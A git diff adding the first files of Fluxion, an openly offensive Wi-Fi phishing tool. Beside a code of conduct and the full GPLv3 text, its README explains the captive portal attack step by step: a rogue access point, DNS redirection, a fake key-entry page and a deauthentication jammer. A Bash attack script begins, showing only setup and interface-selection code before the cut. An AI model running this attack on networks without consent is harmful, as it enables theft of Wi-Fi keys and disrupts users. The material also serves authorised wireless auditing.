diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..eaf09ef --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,46 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at deltax.fluxion@gmail.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..ce09879 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,10 @@ +# Adding language files +1. Copy the English language files from +``` +./attacks/Handshake Snooper/language/en.sh +./attacks/Captive Portal/language/en.sh +./language/en.sh +``` +2. Translate +3. Save them as `LANGUAGE_CODE.sh` to respective locations. +Resource: [LANGUAGE_CODE](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) (ISO 639-1) diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..9cecc1d --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/README.md b/README.md new file mode 100644 index 0000000..7045a63 --- /dev/null +++ b/README.md @@ -0,0 +1,91 @@ +![Fuxion logo](https://github.com/FluxionNetwork/fluxion/raw/master/logos/logo.jpg) + +# Fluxion is the future of MITM WPA attacks +Fluxion is a security auditing and social-engineering research tool. It is a remake of linset by vk496 with (hopefully) fewer bugs and more functionality. The script attempts to retrieve the WPA/WPA2 key from a target access point by means of a social engineering (phishing) attack. It's compatible with the latest release of Kali (rolling). Fluxion's attacks' setup is mostly manual, but experimental auto-mode handles some of the attacks' setup parameters. Read the [FAQ](https://github.com/FluxionNetwork/fluxion/wiki/FAQ) before requesting issues. + +If you need quick help, fluxion is also available on gitter. You can talk with us on [Gitter](https://gitter.im/FluxionNetwork/Lobby) or on [Discord](https://discord.gg/G43gptk). +## Installation +Read [here](https://github.com/FluxionNetwork/fluxion/wiki/Generate-ssh-keys) before you do the following steps. +
+**Download the latest revision** +``` +git clone git@github.com:FluxionNetwork/fluxion.git + +# Or if you prefer https + +git clone https://www.github.com/FluxionNetwork/fluxion.git +``` +**Switch to tool's directory** +``` +cd fluxion +``` +**Run fluxion (missing dependencies will be auto-installed)** +``` +./fluxion.sh +``` + +**Fluxion is also available in arch** +``` +cd bin/arch +makepkg +``` + +or using the blackarch repo +``` +pacman -S fluxion +``` + +## :scroll: Changelog +Fluxion gets weekly updates with new features, improvements, and bugfixes. +Be sure to check out the [changelog here](https://github.com/FluxionNetwork/fluxion/commits/master). + +## :octocat: How to contribute +All contributions are welcome! Code, documentation, graphics, or even design suggestions are welcome; use GitHub to its fullest. Submit pull requests, contribute tutorials or other wiki content -- whatever you have to offer, it'll be appreciated but please follow the [style guide](https://github.com/FluxionNetwork/fluxion/wiki/Code-style-guide). + +## :book: How it works +* Scan for a target wireless network. +* Launch the `Handshake Snooper` attack. +* Capture a handshake (necessary for password verification). +* Launch `Captive Portal` attack. +* Spawns a rogue (fake) AP, imitating the original access point. +* Spawns a DNS server, redirecting all requests to the attacker's host running the captive portal. +* Spawns a web server, serving the captive portal which prompts users for their WPA/WPA2 key. +* Spawns a jammer, deauthenticating all clients from original AP and luring them to the rogue AP. +* All authentication attempts at the captive portal are checked against the handshake file captured earlier. +* The attack will automatically terminate once a correct key has been submitted. +* The key will be logged and clients will be allowed to reconnect to the target access point. + +* For a guide to the `Captive Portal` attack, read the [Captive Portal attack guide](https://github.com/FluxionNetwork/fluxion/wiki/Captive-Portal-Attack) + +## :heavy_exclamation_mark: Requirements + +A Linux-based operating system. We recommend Kali Linux 2018.4. An external wifi card is recommended. + +## Related work + +For development, I use vim and tmux. Here are my [dotfiles](https://github.com/deltaxflux/takumi/) +## :octocat: Credits +1. l3op - contributor +2. dlinkproto - contributor +3. vk496 - developer of linset +4. Derv82 - @Wifite/2 +5. Princeofguilty - @webpages and @buteforce +6. Photos for wiki @http://www.kalitutorials.net +7. Ons Ali @wallpaper +8. PappleTec @sites +9. MPX4132 - Fluxion V3 + +## Disclaimer +* Authors do not own the logos under the `/attacks/Captive Portal/sites/` directory. Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. + +* The usage of Fluxion for attacking infrastructures without prior mutual consent could be considered an illegal activity and is highly discouraged by its authors/developers. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program. + +## Note +* Beware of sites pretending to be related with the Fluxion Project. These may be delivering malware. + +* Fluxion **DOES NOT WORK** on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be **Closed Immediately** + +## Links +**Fluxion website:** https://fluxionnetwork.github.io/fluxion/
+**Discord:** https://discordapp.com/invite/G43gptk
+**Gitter:** https://gitter.im/FluxionNetwork/Lobby
diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..fc24e7a --- /dev/null +++ b/_config.yml @@ -0,0 +1 @@ +theme: jekyll-theme-hacker \ No newline at end of file diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh new file mode 100755 index 0000000..5249b43 --- /dev/null +++ b/attacks/Captive Portal/attack.sh @@ -0,0 +1,1528 @@ +#!/usr/bin/env bash + +# ============================================================ # +# =============== < Captive Portal Parameters > ============== # +# ============================================================ # +CaptivePortalState="Not Ready" + +CaptivePortalPassLog="$FLUXIONPath/attacks/Captive Portal/pwdlog" +CaptivePortalNetLog="$FLUXIONPath/attacks/Captive Portal/netlog" + +CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant") +CaptivePortalAuthenticationMethodsInfo=( + "(handshake file, ${CGrn}recommended$CClr)" +) # "(Target AP authentication, slow)") + +# ============= < Virtual Network Configuration > ============ # +# To avoid collapsing with an already existing network, +# we'll use a somewhat uncommon network and server IP. +CaptivePortalGatewayAddress="192.168.254.1" +CaptivePortalGatewayNetwork=${CaptivePortalGatewayAddress%.*} + + +# ============================================================ # +# ============== < Captive Portal Subroutines > ============== # +# ============================================================ # +captive_portal_unset_jammer_interface() { + CaptivePortalJammerInterfaceOriginal="" + + if [ ! "$CaptivePortalJammerInterface" ]; then return 1; fi + CaptivePortalJammerInterface="" + + # Check if we're automatically selecting the interface & skip + # this one if so to take the user back properly. + local interfacesAvailable + readarray -t interfacesAvailable < <(attack_targetting_interfaces) + + if [ ${#interfacesAvailable[@]} -le 1 ]; then return 2; fi +} + +captive_portal_set_jammer_interface() { + if [ "$CaptivePortalJammerInterface" ]; then return 0; fi + + if [ ! "$CaptivePortalJammerInterfaceOriginal" ]; then + echo "Running get jammer interface." > $FLUXIONOutputDevice + if ! fluxion_get_interface attack_targetting_interfaces \ + "$CaptivePortalJammerInterfaceQuery"; then + echo "Failed to get jammer interface" > $FLUXIONOutputDevice + 